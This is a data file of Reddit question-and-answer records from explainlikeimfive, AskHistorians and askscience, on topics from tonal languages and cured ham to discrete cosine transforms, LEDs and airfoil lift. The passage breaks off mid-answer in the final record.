{"q_id": "4fifx4", "title": "why do some eastern accents/dialects/languages sound so angry?", "selftext": "A lot of easterners sound very angry when using their own language amongst themselves, whether it be some Asian languages, middle eastern, etc. But a lot of the western languages aren't so bad, and you can tell the difference between a casual conversation and an argument. Is there a reason for this?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4fifx4/eli5_why_do_some_eastern_accentsdialectslanguages/", "answers": {"a_id": ["d291n0l"], "score": [14], "text": ["You are probably noticing the *tonal languages* such as Cantonese and Thai. In these languages, the rising and falling pitch of your voice (high and low \"notes\") indicates different words. In English, doing this with your voice indicates that you are getting very emotional."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "379y3t", "title": "why does my shirt feel different when it's on backwards even though its the same both ways?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/379y3t/eli5_why_does_my_shirt_feel_different_when_its_on/", "answers": {"a_id": ["crkw99p"], "score": [3], "text": ["Most shirts are not symmetrical front to back - even your basic t-shirt will go slightly higher in the back towards the neck hole that the front does, meaning that if you put it on backwards, it'll be higher on your neck than you're used to. A lot of shirts will have a bit more material in the back, as well (you can bend farther forward than backward, so you need it).\n\nAre you sure the shirt you're talking about is the same both ways?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b8vt36", "title": "why is it okay to eat parma ham raw but not smoked bacon?", "selftext": "I was told that you have to cook smoked bacon before consuming but you can just eat parma ham raw.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b8vt36/eli5_why_is_it_okay_to_eat_parma_ham_raw_but_not/", "answers": {"a_id": ["ek0gb6h", "ek0lynj", "ek0w56y"], "score": [10, 22, 7], "text": ["I actually have two reasons for this.\n\nFor one, Parmas ham is *intended* to be eaten raw. As such, it will be inspected for anything that could harm you very rigorously. Bacon is desined to be fried so many pathogens and germs could well be in it but not harm you since by frying, you'll kill them anyway. To cut costs, inspections can be less thorough.\n\nBut also, assuming you're American, Parma is actually a location in Italy. Italy is in the EU. And in the EU food sefety is *vastly* better than in the US, where US-bought bacon likely originated. I looked up the numbers for a few EU nations recently and there's usually less than 1% of the population that's affected by food poisoning each year whereas in the US, it's roughly one in six or (accoding to a different source) 14%, which would be about one in seven. But that compares US-bred bacon to italian Parma ham.", "Parma ham is air dried, which is a conservation method that makes it ready for human consumption. Bacon is treated with salts, which conserve it, but still require cooking.", "Bacon is salted for a couple of weeks and sometimes smoked. This process delays spoilage, but doesn\u2019t prevent some harmful bacteria from developing. Parma ham  is fermented for something like 2 years. During that process non-disease-causing bacteria do 2 things: 1) kill other harmful bacteria and 2) change the texture and flavor of the meat in delicious ways. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "xcau7", "title": "why do city governments care when people have garage sales?", "selftext": "Had  garage sale over the weekend and public security showed up and gave us a written warning saying we needed to have a permit to conduct a garage sale and we had 24 hours to get one. My question, why do they give a fuck if i'm selling my old junk on my property?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/xcau7/eli5_why_do_city_governments_care_when_people/", "answers": {"a_id": ["c5l3xr1", "c5l4hdw", "c5l4yi0", "c5l5ec9", "c5lggqm"], "score": [5, 10, 5, 20, 2], "text": ["Does the permit cost money?  It may just be that they want the money.  Or it may be that a bunch of people griped about some neighbor who was always having a garage sale.  Or it could just be an over-reaching city legislator who felt garage sales were a scourge upon the city and needed to be reigned in.  Or perhaps it is an attempt to shut down black-market stores.", "They're not making tax revenue from it and many Homeowners Associations view them as unsightly ans bad for property values.", "I've moved around a lot (like twelve different cities through 5 states) and every time I've had to get a permit it was only for like $5 or $10 bucks. I don't think they were trying to control them I think it was just a way to trickle in a few extra bucks to the city. I have also seen where some small to medium sized towns actually plan a \"city wide\" garage sale that brings in a lot of revenue from outside through taxes paid through local stores and restaurants. During these events no one needed to get a permit which made it more attractive to have them when the city wanted. ", "I expect that requiring you to have a permit helps them track how often you're having a garage sale\n\nMany cities have limits on how often you may have a garage sale because they do not want you having garage sales on a regular basis.\n\nYou're living in a residential area, not a commercial area.  They don't want you having a garage sale on a regular basis because that would be very much like you were running a business.\n\nYour garage sale brings more traffic to your neighborhood.  The extra traffic can be disruptive to the neighborhood.  If you had frequent garage sales then you'd be responsible for bringing a lot of traffic to your neighborhood and causing a lot of disruption.  Your neighbors would not appreciate this.\n\nThis is why cities regulate garage sales.", "Zoning.\n\nYou live in a quiet neighborhood.  You don't want someone to be able to open a night club or bowling alley or slaughter house right next to you.  So your city passes zoning laws saying what sort of activities can occur in which neighborhoods.\n\nNow you might thing a garage sale isn't going in harm...and for the most part you are right.  But if your neighbor was having a \"garage sale\" every day in what amounted to a store, you'd get sick of all the extra cars and people running around your once quiet block.  So the city makes you get a permit...there is probably a law that says you can't have more than like 4 garage sales a year, and permits help them keep track.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1x8ybo", "title": "How did the city of Barcelona get it's name?", "selftext": "Was it from the Carthaginian Barca family or a native Iberian name?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1x8ybo/how_did_the_city_of_barcelona_get_its_name/", "answers": {"a_id": ["cf9lnsi", "cfb0ufz"], "score": [2, 2], "text": ["it's always worth checking an etymology dictionary. according to [etymonline](_URL_0_): \n\n >  **Barcelona** city in Spain, said to have been named for Carthaginian general Hamlicar Barca, who is supposed to have founded it 3c. B.C.E.", "Sorry, not linguist nor etymologist here, just a native from the city ... :)\n\nThe spanish wikipedia have all the possible origens I know of (_URL_0_)\n\nThe only true fact is that the first known name is: \"Colonia Iulia Augusta Paterna Faventia Barcino\". \"Barcino\" comes from \"Barkeno\",  the name of an Iberian settlement there. \n\nA phoenician coin with an iberian inscription \"Barkeno\" supports the theory of it being from Phoenician origin, but is not conclusive.\n\nThere are two myths on the foundation of Barcelona and its name: \n\n- Founded by Almicar Barca or his son Annibal Barca, depending on the version.\n\n- Founded by Hercules and the Argonauts. One of the boats got lost in a storm after the 4th job, and landed near the current Barcelona. This boat whas the 9th boat, the \"Barca nona\". Seeing it was a nice place, founded a city with that name.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.etymonline.com/index.php?term=Barcelona"], ["http://es.wikipedia.org/wiki/Barcelona"]]}
{"q_id": "2fo7ha", "title": "Job/internships for a history major?", "selftext": "If this is the wrong sub I'm sorry, you can delete this and direct me to the correct sub, but I am currently a junior History/secondary education major (I know, it'll be impossible to find a job after I graduate). I was just kind of wondering what jobs or internships there are for me while I'm still in school that relate to history? I have worked with \"gifted\" 4 and 5 year olds for two years now but I am kind of looking for a change of pace. Any help would be great, thanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2fo7ha/jobinternships_for_a_history_major/", "answers": {"a_id": ["ckbeozi"], "score": [2], "text": ["Doing research work with professors, museums, research libraries/archives (ex. Library of Congress, presidential libraries), historical societies/associations, historical advocacy groups (ex. Civil War Trust) are all good starting places.\n\nWhat era/field of history are you interested in?\n\ne: I wouldn't go the military route. The military is downsizing post-Iraq/Afghanistan and the peacetime military is tough to go into career-wise. There's a huge surplus of talented, career-driven officers trying to claw their way up the totem pole. Getting promoted past O-3 (US Army/USAF-Captain, US Navy-Lieutenant) is gonna be tough for the next few years. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ro66z", "title": "Do we swallow when we're asleep?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ro66z/do_we_swallow_when_were_asleep/", "answers": {"a_id": ["c47c0f3"], "score": [40], "text": ["Research suggests that \"during sleep, swallowing is episodic, with long swallow-free periods\" and is generally [\"associated with movement arousal\"](_URL_0_) (which is most frequent during certain stages of sleep)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sciencedirect.com/science/article/pii/0013469475902679"]]}
{"q_id": "cehr7l", "title": "what exactly is happening when someone gets a \"2nd wave\" of energy after staying awake too long?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cehr7l/eli5_what_exactly_is_happening_when_someone_gets/", "answers": {"a_id": ["eu2nkd4", "eu2p5jp", "eu35bji"], "score": [405, 54, 5], "text": ["Body: Hey, I realize you're awake much longer than usual but I not sure why. Maybe you're escaping some natural disaster or other predators/humans after your life or you want to binge the new show on Netflix. It's best that I -\n\n1. Continue making you tired and sleepy to force you to rest.\n\n2. Give you a burst of adrenaline to get out of your situation so you can safely rest.\n\nIt turns out that people with bodies that activate #1 tended to not survive dangerous situations and spread those traits to their offspring compared to your ancestors who have bodies that activate #2.", "There's 2 main hormones controlling how sleepy you feel- one of them just builds up over time and resets when you've got enough sleep, and the other goes up and down based on the time of day. \n\nSo after being awake for a long time, there will be a time late at night where both hormones are at a high and you're very sleepy. But after this, early in the morning, while one hormone keeps building up the one based on the clock begins to fade again. So you'll have comparatively more energy than before. \n\nThere's other factors at play as well but this is one mechanism.", "You body has lots of chemicals that help you function. Sometimes they help you sleep, or sometimes they make you feel sad. There are chemicals that give you energy, and sometimes when you're awake too long, you can let the sleepy chemicals stop working, and you're left with energy ones instead. It's not healthy always, but sometimes it helpful when you need it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3h5vy5", "title": "why are european or western accents generally considered attractive, whereas asian accents generally considered unattractive?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3h5vy5/eli5_why_are_european_or_western_accents/", "answers": {"a_id": ["cu4ibc0", "cu4ide8"], "score": [6, 2], "text": ["It's cultural and propagated by Western media which romanticizes European accents. Ever notice how many films romanticize going to Paris or Italy and falling in love there? That same theme isn't going to be found as often in Asia or elsewhere in the world.\n\nReverse the situation and be a Westerner trying to speak an Asian language in your accent, and Asians may find it silly and unattractive", "Depends. I'm an American dude from the west coast of America. These opinions represent English being spoken in the accent; I don't find other languages sexy or not because she could be coming on to me or calling me an ugly jerk. \n\nI find American Southern accents extremely unattractive in a woman. Hispanic accents (Spanish or Portuguese) are sexy to me. I'm neutral on British accents. Same goes for French/Italian. Russian, German, and Slavic accents I do not find sexy. \n\nOn to Asian: I definitely love Indian girls' accent (British English or not), similarly for other \"South Asian\" women. I prefer Japanese over Chinese, but Korean isn't as nice. I'm not sure why, but Thai is the top for me.\n\nTo summarize, I think the more flowery the native language, the better the accent sounds in English to me. This is my only explanation for preferring Latin, Japanese, and Thai. The harsher the native language sounds to my ears, the less I like the accent (Chinese, German, Russian, etc.). But let me state: hot trumps all. \n\nTL;DR: I disagree with OP's generalization and I have my own preferences. Also, hot trumps all. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3ucm2c", "title": "discrete cosine transforms", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ucm2c/eli5_discrete_cosine_transforms/", "answers": {"a_id": ["cxdqhug", "cxdqy27", "cxdw1ig", "cxegn1u"], "score": [15, 2, 2, 2], "text": ["When you want to compress a series of data (say, a sound recording) you can look for patterns in the data, and just record the patterns instead of the original measurements.\n\nDCT describes data as the sum of a series of waves (cosine functions) vibrating at different frequencies. This turns out to be a great way to describe sounds using just a small set of numbers. So it's used in audio compression. It's also used in video compression, since pictures also tend to have patterns.", "A row of numbers can be described perfectly by a sum of basic cosine waves along that row. Not only that, but the number of basis waves needed is exactly the number of numbers you started with. So you can transform between these two representations without needing more space or changing the underlying information.\n\nThe neat thing about the cosine transformation is that the basis waves range from long and wide to short and many. In many situations, the row of numbers you start with tend to have more long waves and less short waves, and you end up with bigger numbers representing the long cosine waves and numbers close to zero for much of the shorter waves. If you decide to throw away those numbers close to zero, you can save space without changing the original row of numbers very much.\n\nDiscrete cosine transforms work on a row of countable numbers, and this is different to the version that works on a smooth line of numbers that is made up of an infinite number of points, called continuous cosine transform.\n\nCosine transforms also have versions that work in 2D (a square of numbers), 3D (a cube of numbers) and beyond.", "Imagine you want to play the sound of a sea shore. You can point a microphone at the sea and record the sound. You get a lot of data, play it back and it sounds like a sea shore.\n\nNow lets imagine you want the sound but you don't have space for all that data. The sound is a sort of hiss that gradually rises and falls, so you record a little bit of hiss sound and play it on repeat but have it rise and fall once every second. This doesn't sound exactly like the sea shore but its a good enough approximation that people will probably understand what its supposed to be.\n\nMaybe you want it a bit better, so you record a more rumbly, deeper hiss and have that play one every second as well. But the rumble fades in and out much faster. Then maybe you want the crashing noise, so you record a bit of that and have it fade in and out in a different way. This sounds a lot more like the sea but its three times as much data.\n\nThis is effectively what DCT is. Instead of literally copying every detail of the world it records the pattern of changes over time. If you record more patterns the sound is closer to reality but takes more data. To perfectly reproduce the sound would need so many patterns that you might as well record the sound literally. By using DCT you can choose how many patterns to record, being closer to reality or taking less data.", "Take as an example the sounds you hear when you're listening to music. The sound itself is a series of compressions and decompressions passing into your ear in waves. Inside your ear many little hairs start to vibrate, each one responding to a particular pitch - that is, it is \"activated\" when a particular frequency of waves come in, and not when anything else is heard. You can only hear pitches above a certain low pitch and below a certain high one, so for instance a dog whistle is to high a pitch and just can't hear it, it's as if there is no sound at all.\n\nThe discrete cosine transform does basically the same thing: it \"listens\" to an oscillating signal like a sound wave and converts it into a handful of separate (\"discrete\") signals which correspond to different pitch levels.\n\nThis is useful for many reasons but one big one is that, just like the ear sending signals to the brain, it's much less information to transmit and work with if you send only the discrete frequencies in a particular range rather than the entire complex sound."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1s0f1v", "title": "What aspect of LED technology changed recently that is allowing new applications in car headlights, street lamps, work lights, etc.?", "selftext": "LEDs have been around for over 50 years but it seems like they only recently started showing up in many new applications where they are quickly becoming the preferred lighting method. What was holding them back?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1s0f1v/what_aspect_of_led_technology_changed_recently/", "answers": {"a_id": ["cdsp6ye", "cdsslok"], "score": [23, 11], "text": ["Fundamentally, the key was [Shuji Nakamura](_URL_0_) inventing new types of semiconductors in the 1990's that could efficiently emit higher-frequency (blue) light, which in turn can be \"spread out\" by phosphors to make white light. After that it's been a series of incremental advances and market forces bringing them to a wider range of applications.", "~~Older red and IR LEDs were made out of Silicon, but~~ Si is a lousy semiconductor for emitting light because it is an \"indirect band-gap\" material.  ~~To make other colors and improve efficiency,~~ it was necessary to use other materials. And to get the band-gaps right for emission of desired colors, fairly exotic compound semiconductor sandwiches needed to be created. And to make the sandwiches work with any kind of efficiency, it is necessary to make some of the layers very thin...in some cases, just a few atomic layers of a material.  \n  \nDoing this requires a fair amount of science, experiment, and good engineering.  Making multiple thin layers of compound materials is fairly difficult. And even if you can make them, if there are various defects they will only work for a limited time.  So equipment and processes needed to be refined to minimize the number of defects.    \n  \nAnd even though modern LEDs are quite efficient at turning electrical power into light, they still generate a large amount of heat in a compact area.  In order to make them reliable (if you want a high intensity) it is required to have very good methods to get the heat away from the semiconductor material.   \n   \nThe good news is that because they are so efficient, you can make a whole lot of tiny, individual LEDs on one wafer. If you can manage to do this with high quality (low defect levels) then you can make some fairly cheap devices.  \n  \n**EDIT**: Correcting my mistake that early LEDs were Si.  They were GaAs. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ia.ucsb.edu/pa/display.aspx?pkey=1475"], []]}
{"q_id": "dk4klm", "title": "why do hard metals (mohs) get worn down by softer materials?", "selftext": "If a materials hardness is equal to scratch resistance how are tough metals worn and shaped by things like flowing water or sand shot out with a compressor?\n\n\nShouldn't their properties prevent that? \n\nSuch as metal rollers in textile factories, they get worn down by soft fabrics, though minimally, it happens.\n\n\nEven on phone screens with a 9h advertised hardness can be scratched by softer materials.\n\nCan anything leave a scratch in anything else no matter what it is?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dk4klm/eli5_why_do_hard_metals_mohs_get_worn_down_by/", "answers": {"a_id": ["f4alouu", "f4as9nk", "f4ivln5"], "score": [16, 13, 3], "text": ["Mohs hardness only covers large scratches. Ultimately, softer materials can eat away at harder materials through two processes that I'm aware. One is just speed: Sufficient speeds can sort of overcome mohs hardness due to inertia. Things are moving so fast that they really don't care how hard their target is. This happens in a waterjet cutter when cutting really hard things with gypsum. Another is just tiny abrasions. Mohs hardness only applies to large surface scratches, not microscopic ones, and through many microscopic scratches materials can be worn away.", "Hardness doesn't mean indestructible.  It means the harder items is going to be damaged less than the softer one.  Your phone screen might be harder than your keys, that just means your keys are going to wear more than the screen when they rub together.\n\nAlso, scratching isn't the only way things wear down.  You have chemical reactions, thermal expansion, impact damage, all ways a hard object can be damaged without scratching it.", " > or sand shot out with a compressor?\n\nCommon Quartz Sand has a higher hardness and compressive strength than most metals. \n\nThe impact of the sand at high speed creates small dents and pits in the metal surface. This displaces metal around the edges of the pit which it then worn off by subsequent impacts.\n\n > If a materials hardness is equal to scratch resistance how are tough metals worn and shaped by things like flowing water \n\nYou may be referring to the process of  Water Jet Cutting.\n\nThe water jet, due to high pressure, leaves the nozzle at around mach 3 or 700 m/s.\n\nFor softer metals, the force of the water being impacting inside the cut is enough to shear off bits of metal. It causes the individual grains of the metal to disintegrate.\n\nFor harder metals like tool steel and other materials like hard stone or glass, a garnet abrasive is usually added to the water, creating a slurry. This wears on hard materials, essentially grinding through it.\n\nFor this application the nozzle for the jet needs to be made of sapphire or harder materials like cubic boron nitride (aka CBN)\n\nOf course, water itself slowly corrodes most metals due to chemical reaction.\n\nRunning water in surface streams also usually contains fine sand and grit. This is generally harder than a given metal and causes abrasive wear. Silica sand is almost ubiquitous in the soil.\n\nIn addition, metals like stainless steel  depend on a microscopically thin layer of inert chromium on the metal's surface, to avoid corroding. Normally, if the metal is scratched, oxygen in the air reacts with chromium in the metal to reform this oxide layer. \n\nSince water contains much less free oxygen than the air, any action that removes the oxide layer such as abrasion by sand particles leaves the underlying metal unprotected and free to corrode until sufficient oxygen can react to heal the surface oxide layer. This combination of physical and chemical erosion is called \"erosion-corrosion.\" \n\nThis can make stainless steel or aluminum items in flowing, dirty water disintegrate much more quickly than expected.\n\nAnother water related source of damage is called Cavitation. This occurs on propellers, pumps, and sometimes sharp pipe bends where rapid water flow occurs.\n\nTurbulence in the water may temporarily lower the surface pressure enough to cause the water to boil, forming small vapor bubbles. As the pressure is restored, the bubbles collapse violently, creating tiny shock waves which pummel the material, with the same kind of force as pelting it with gravel. This can cause severe erosion on the edges of propeller blades for example. This is why propellers are often made of high strength bronze, because painting them is not an option. Any paint applied tends to be stripped off by the cavitation effect at full engine power. \n\n > Such as metal rollers in textile factories, they get worn down by soft fabrics, though minimally, it happens.\n\nIt's not the fabrics themselves, rather fine sand and dust from the outside that gets tracked in by workers, breezs and trapped in fabrics. This slowly wears on the rollers. However other parts of the machinery such as motors and rotational bearings tend to wear more quickly in this case. \n\n > Even on phone screens with a 9h advertised hardness can be scratched by softer materials.\n\n > Can anything leave a scratch in anything else no matter what it is?\n\nIn general, no. However soften materials can wear harder ones under specific circumstances."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "66tt7k", "title": "Why Were a Disproportionate Amount of Japanese Prime Ministers Christians?", "selftext": "Of the sixty-two people who have served as Prime Minister of Japan, eight have been Christian, and of the thirty-three post-World War II prime ministers, six have been Christian. Why is this the case, given that Christianity is the religion of only about one percent of the Japanese population?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/66tt7k/why_were_a_disproportionate_amount_of_japanese/", "answers": {"a_id": ["dglkl4y", "dglo843", "dglr5a9"], "score": [92, 8, 110], "text": ["Follow up question: how did Japanese views of Christianity (and western religion as a whole) change during and immediately after WW2?", "Follow up question: is their particular sect of Christianity related to any Dutch sects, being that they closed the island off from other European powers to stave off attempts at conversion? The Dutch said they wouldn't proselytize, but I can't imagine that it never happened.", "For a great primary source for Christian missions and the Japanese Christian Church during early 20th century I can't recommend the Japan Christian Year-books enough. [You can find many of them on _URL_1_](https://_URL_1_/search.php?query=japan%20christian%20year-book). They are in English, but many of the articles in the later additions were contributed by prominent Japanese Christian leaders. The editions leading up to the Pacific War and those picking up after the war have a lot of content to dig into. There are of course plenty of monograms on the history of the church in Japan if you are near a decent research library.\n\nI'll try to answer concisely. Christianity in Japan, at least in the modern era, has largely been an urban religion. Christian missions starting in the Meiji period largely focused on cities. By the late 19th century and early 20th century when Christian missions really began to pick up steam in Japan, many Christian denomination had a strong educational focus.\n\nProtestant and Catholic missionaries alike started many colleges and universities during this period. Some of the leading colleges and universities in East Asia have Christian origins, as do many in the West. Many Japanese elite during the Meiji era sent their children to Christian schools. While very few Japanese people during this period became Christians, they largely came from educated urban backgrounds. \n\n[Nitobe Inazo](_URL_0_) for example became a Christian at University in Hokkaido and went on to become one of the leading intellectuals in Japan during the early 19th century. He was actually on the 5000 yen bill from 1984 until 2004. His book [Bushido](_URL_4_) is really a must read. \n\nThe Christianity of this period was also highly politically active--one of my heros is a gentleman named [Toyohiko Kagawa](_URL_2_) who was a labor activist during the early 19th century; his semi-autobiographical book 'A Grain of Wheat,' is a really fantastic read, even in English. Kagawa became a Christian as a young person, and despite having studied at Princeton in the US, he returned to Japan to work in the slums of Kobe. He was responsible for organizing labor unions, coops and even political parties--notably as one of the founders of the first Socialist political party in Japan. Kagawa was not the only politically active Christian in the early 20th century. \n\nThere are of course many other reasons for the large number of Christians involved in Japanese politics, but I feel that these are some of the major contributing factors. Christians have been more politically active in Japan than many of their peers, they tend to be well educated and because of their education are often in places of influence. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Nitobe_Inaz%C5%8D", "archive.org", "https://en.wikipedia.org/wiki/Toyohiko_Kagawa", "https://archive.org/search.php?query=japan%20christian%20year-book", "http://www.gutenberg.org/ebooks/12096"]]}
{"q_id": "3iumis", "title": "Can this refraction experiment be reproduced in air instead of water?", "selftext": "[This](_URL_0_) video demonstrated an invisible bottle experiment. I understand that it works by using a liquid (glycerin) that has a nearly identical refractive index as the glass that makes up the bottles. I also understand that if either of these bottles were submerged in a larger container of glycerin, neither would be visible.\n\nNow here are my questions. Could this experiment be reproduced using other materials in other mediums? Is there some material that would appear almost invisible in a tub of water, alcohol, gasoline, or even in the atmosphere? And if the answer is no, is it just the case that we haven't discovered one yet, or is there a mathematical reason that these materials cannot exist?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3iumis/can_this_refraction_experiment_be_reproduced_in/", "answers": {"a_id": ["cujsip5"], "score": [8], "text": ["Yes, this experiment can be reproduced with other materials. The only condition that Must be met is that the index of refraction of both materials have to be close to each other.   This process is generally referred to \"index matching\".  This can't be done with air and solid matter simply because there's no material that has an index of refraction close enough to air"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/IOUXcUc.mp4"], "answers_urls": [[]]}
{"q_id": "32tois", "title": "how do the scribblenauts series games create all those things?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/32tois/eli5_how_do_the_scribblenauts_series_games_create/", "answers": {"a_id": ["cqej7qz"], "score": [53], "text": ["It was a ton of work.\n\nThe development team created a library of more than 20,000 objects, and gave each one unique artwork and a bunch of characteristics.\n\nThey didn't have to program every behavior of every object. Rather, they created lots of properties that objects could have, and then carefully assigned properties to each object. Every property needed to be programmed, but adding a new object was just a question of drawing the artwork and then figuring out what properties it would have.\n\nFor the most part, though, there was no \"trick\" - they really did go through every word they could come up with and add it to the game, it was a massive effort for a relatively small development team, and the result was pretty magical, which is why the game won so many awards.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "681bi5", "title": "why are we supposed to \"adopt, don't shop\"? why does it matter as long as the pet finds a loving home, right?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/681bi5/eli5_why_are_we_supposed_to_adopt_dont_shop_why/", "answers": {"a_id": ["dguwv8s", "dguwwjb", "dgux6u4", "dgv4qq0", "dgv6drk", "dgv6hvm"], "score": [25, 95, 20, 4, 3, 41], "text": ["There are way more shelter animals then there is demand. However, people still buy puppies from pet stores, which creates demand, filled with newly bred puppies. Each one of these is a dog that is not adopted from a shelter, and as a result usually euthanized. \n\nTL;DR\nA new dog is a competitor to a shelter dog. ", "The idea is that buying animals in a pet shop encourages bad breeding practices.  People churn out animals for profit with no thought for the welfare of the animals being bred. \n\nIf you adopt you are taking in an animal that needs a home, but you are not financially rewarding someone for potentially unscrupulous behavior. \n\nThere are reputable breeders out there of course, but if you are walking into a pet store it's hard to tell if the animal came from one of these. ", "Because when you purchase an animal, it encourages the breeders to continue to breed more and more animals also known as breeding mills. Animals from breeding mills are bred over and over again until they are no longer able to breed and then are usually euthanized. It is a painful process that never ends. By encouraging people to adopt instead of shop, breeders are in less demand. I suggest doing a search on puppy mills and you will see the horrifying conditions of abuse these animals are living in.", "If you purchase from a reputable breeder, there is no harm and you will get a good pet. If you adopt, you are helping save a homeless animal. However, there are puppy mills and they are a horror show. If you are looking for a quality purebred from a reputable breeder contact your breed association or national kennel club, such as the American Kennel Club or the Canadian Kennel Club.", "Common sense mate. Why would you buy an animal thats been bred (usually inbred if pedigree) to be sold, as opposed to adopting a dog that needs a home. I don't know what fairytale you're living in, but most shelter dogs do not find a \"loving home\". They usually get put down when nobody adopts them. ", "Supply and demand. \n\nIf a pet shop that has pure bred dogs is constantly selling them, they will constantly be bringing them in. There is a demand for them. The more demand, the more breeders will breed. \n\nSo why is this so bad? First, you could get into the argument of how breeds have been completely changed into very problematic and sick animals. GSD and Goldens with huge hip issues, bulldogs can't reproduce without c-section, etc. Additionally, purebreds in general have been shown to have higher rates of cancer and other issues. \n\nSecond, you encourage \"bad\" breeders, especially puppy mills. Puppy mills typically have low standards for animal care, and many animals are neglected or force to breed well beyond when it is healthy too. Many also inbreed, since they only care about a specific look, and this could be the fastest way to get that look. \n\nIf tomorrow 100% of everyone decided to no longer buy dogs, instead getting from rescues, places that sell dogs will no longer be incentivised to breed them. Stores don't want to keep puppies on hand too long because they require care (food, cleaning, etc.) which costs the store money. If they have to put $500 into the care of the animal that is only worth $500, then they don't make money, and they wont keep stocking them. \n\nBreeders wont have any orders from stores, nor any requests direct from customers, so they wont keep breeding. Obviously this isn't going to happen, but the lower the demand, then the lower the supply. \n\nAdditionally, there is the argument of why do you want a pure breed dog? If you're looking for a companion animal, most often your mutt from the local shelter will be just as good as any pure one. Many people get animals as status symbols (\"I have an AKC registered so-and-so\") and people can questions the ethical nature of this, is this animal just a tool to you, or a companion. I personally don't have qualms over this because many people use farm animals as tools, and if you're treating the animal properly, who cares, beit dog or horse. The ethical part I don't like is are you supporting bad breeders in order to buy your tool?\n\nThen the issue of all the strays out there. Many are caught and put into shelters for adoption. Many who are not adopted out within X period of time (busier cities may put one month time limit) are then put down. Pure bred animals in stores can be there for a while, and the store will eventually just mark them down to sell them ASAP and recoup as much as they can, but shelters don't have this capability. They're limited by the space that they have, and more often than not, \"no-kill\" shelters are completely full, while county shelters can make room for new incoming animals. \n\nFinally, many pure bred dogs can actually be found in shelters. Have a friend who has a pure sheltie, but was thrown out because the dog is too big for the breed standards. When we volunteered years ago with an animal shelter, I'd say about once a week a pure breed would come in. Obviously it would be different breeds, so what you're looking for may not be there, but it is amazing how often someone gets a \"gift\" dog and a few months later it is turned over to a shelter. \n\nSo TL:DR buying dogs can encourage bad breeders who bring more animals into the total animal population that doesn't need to be increased, while adopting doesn't. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "3i9q4l", "title": "If you want to have low pressure on the top of an airfoil to achieve lift, why is boundary layer separation a bad thing?", "selftext": "From what I understand boundary layer separation is caused by an adverse pressure gradient that ends up forcing the flow up and away from the surface of the airfoil. I think that I have heard that the region with a separated boundary layer is roughly at the same pressure as where the boundary layer detached. So wouldn't this be a good thing during takeoff and landing being that the rest of the top of the airfoil is at a low pressure? Why do people say that this would lead to stall?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3i9q4l/if_you_want_to_have_low_pressure_on_the_top_of_an/", "answers": {"a_id": ["cuesosu", "cuesr6y"], "score": [5, 2], "text": ["An adverse pressure gradient is when the pressure increases acting against the direction of flight.  This means that the air is not \"pulled\" forwards, but instead runs the other way creating tons of drag.  With an aircraft, you're trying to optimize Lift / Drag, so when your lift coefficient is something like 0.3-0.4 and your drag coefficient is 0.02, a tiny increase in drag will kill your efficiency.\n\nSeparated flow kills your lift.  It's basically a spoiler (spoilers are used during landing).  Leading edge slats and trailing edge flaps extend during takeoff to drastically increase the lift coefficient, from ~0.3 to 1.4 (`lift=0.5 * density * velocity^2 * wing_area * lift_coefficient)`, so that's the right way to increase lift.  You just don't need a high angle of attack on most aircraft.  Lift increases more or less linearly until stall.  Drag increases quadratically.  You want to fly with the minimum amount of lift to maintain altitude.\n\nA tiny pocket of separated flow can reattach, so it's not the end of the world.  On modern commercial transport aircraft angle of attack of ~12 degrees will cause separated flow, but you're flying around 3 degrees, so it's not really an issue.  Also, the lift dies (again, separated flow is like a spoiler), but depending on the wing design (e.g. thicker wing; better stall performance), so the plane stalls, dives, and the flow reattaches.  Only fighters are really designed for post-stall performance.", "It's a question of following the airflow. The only reason you want low pressure atop the wing is that it keeps the boundary layer from separating. If you watch the airflow over an airfoil (in a simulation) you'll see that both the above-the-wing and below-the-wing 